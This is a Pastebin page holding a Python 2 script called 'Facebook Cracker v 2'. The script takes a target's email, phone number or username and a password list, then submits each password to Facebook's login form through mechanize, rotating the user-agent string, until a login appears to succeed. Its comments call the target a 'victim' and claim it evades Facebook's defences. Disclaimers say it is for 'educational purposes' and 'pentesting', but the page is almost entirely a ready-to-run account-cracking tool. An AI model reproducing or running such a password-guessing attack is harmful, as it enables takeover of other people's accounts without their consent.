ugo22g

.Facebook Cracker v 2.

Jan 15th, 2015
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.83 KB | None | 0 0
  1. #!usr/bin/python
  2. #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall !
  3. #This program is for educational purposes only.
  4. #Don't attack people facebook accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker is not responsible.
  7.  
  8.  
  9. import sys
  10. import random
  11. import mechanize
  12. import cookielib
  13.  
  14.  
  15. GHT = '''
  16.        +=======================================+
  17.        |..........Facebook Cracker v 2.........|
  18.        +---------------------------------------+
  19.        |#Author: Mauritania Attacker           |
  20.        |#Contact: www.fb.com/mauritanie.forever|
  21.        |#Date: 02/04/2013                      |
  22.        |#This tool is made for pentesting.     |
  23.        |#Changing the Description of this tool |
  24.        |Won't made you the coder ^_^ !!!       |
  25.        |#Respect Coderz ^_^                    |
  26.        |#I take no responsibilities for the    |
  27.        |  use of this program !                |
  28.        +=======================================+
  29.        |..........Facebook Cracker v 2.........|
  30.        +---------------------------------------+
  31. '''
  32. print "Note: - This tool can crack facebook account even if you don't have the email of your victim"
  33. print "# Hit CTRL+C to quit the program"
  34. print "# Use www.graph.facebook.com for more infos about your victim ^_^"
  35.  
  36.  
  37. email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))
  38. passwordlist = str(raw_input("Enter the name of the password list file : "))
  39.  
  40. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  41.  
  42.  
  43.  
  44. login = 'https://www.facebook.com/login.php?login_attempt=1'
  45. def attack(password):
  46.  
  47.   try:
  48.      sys.stdout.write("\r[*] trying %s.. " % password)
  49.      sys.stdout.flush()
  50.      br.addheaders = [('User-agent', random.choice(useragents))]
  51.      site = br.open(login)
  52.      br.select_form(nr=0)
  53.  
  54.        
  55.      ##Facebook
  56.      br.form['email'] =email
  57.      br.form['pass'] = password
  58.      br.submit()
  59.      log = br.geturl()
  60.      if log != login:
  61.         print "\n\n\n [*] Password found .. !!"
  62.         print "\n [*] Password : %s\n" % (password)
  63.         sys.exit(1)
  64.   except KeyboardInterrupt:
  65.         print "\n[*] Exiting program .. "
  66.         sys.exit(1)
  67.  
  68. def search():
  69.     global password
  70.     for password in passwords:
  71.         attack(password.replace("\n",""))
  72.  
  73.  
  74.  
  75. def check():
  76.  
  77.     global br
  78.     global passwords
  79.     try:
  80.        br = mechanize.Browser()
  81.        cj = cookielib.LWPCookieJar()
  82.        br.set_handle_robots(False)
  83.        br.set_handle_equiv(True)
  84.        br.set_handle_referer(True)
  85.        br.set_handle_redirect(True)
  86.        br.set_cookiejar(cj)
  87.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  88.     except KeyboardInterrupt:
  89.        print "\n[*] Exiting program ..\n"
  90.        sys.exit(1)
  91.     try:
  92.        list = open(passwordlist, "r")
  93.        passwords = list.readlines()
  94.        k = 0
  95.        while k < len(passwords):
  96.           passwords[k] = passwords[k].strip()
  97.           k += 1
  98.     except IOError:
  99.         print "\n [*] Error: check your password list path \n"
  100.         sys.exit(1)
  101.     except KeyboardInterrupt:
  102.         print "\n [*] Exiting program ..\n"
  103.         sys.exit(1)
  104.     try:
  105.         print GHT
  106.         print " [*] Account to crack : %s" % (email)
  107.         print " [*] Loaded :" , len(passwords), "passwords"
  108.         print " [*] Cracking, please wait ..."
  109.     except KeyboardInterrupt:
  110.         print "\n [*] Exiting program ..\n"
  111.         sys.exit(1)
  112.     try:
  113.         search()
  114.         attack(password)
  115.     except KeyboardInterrupt:
  116.         print "\n [*] Exiting program ..\n"
  117.         sys.exit(1)
  118.  
  119. if __name__ == '__main__':
  120.     check()
Add Comment
Please, Sign In to add comment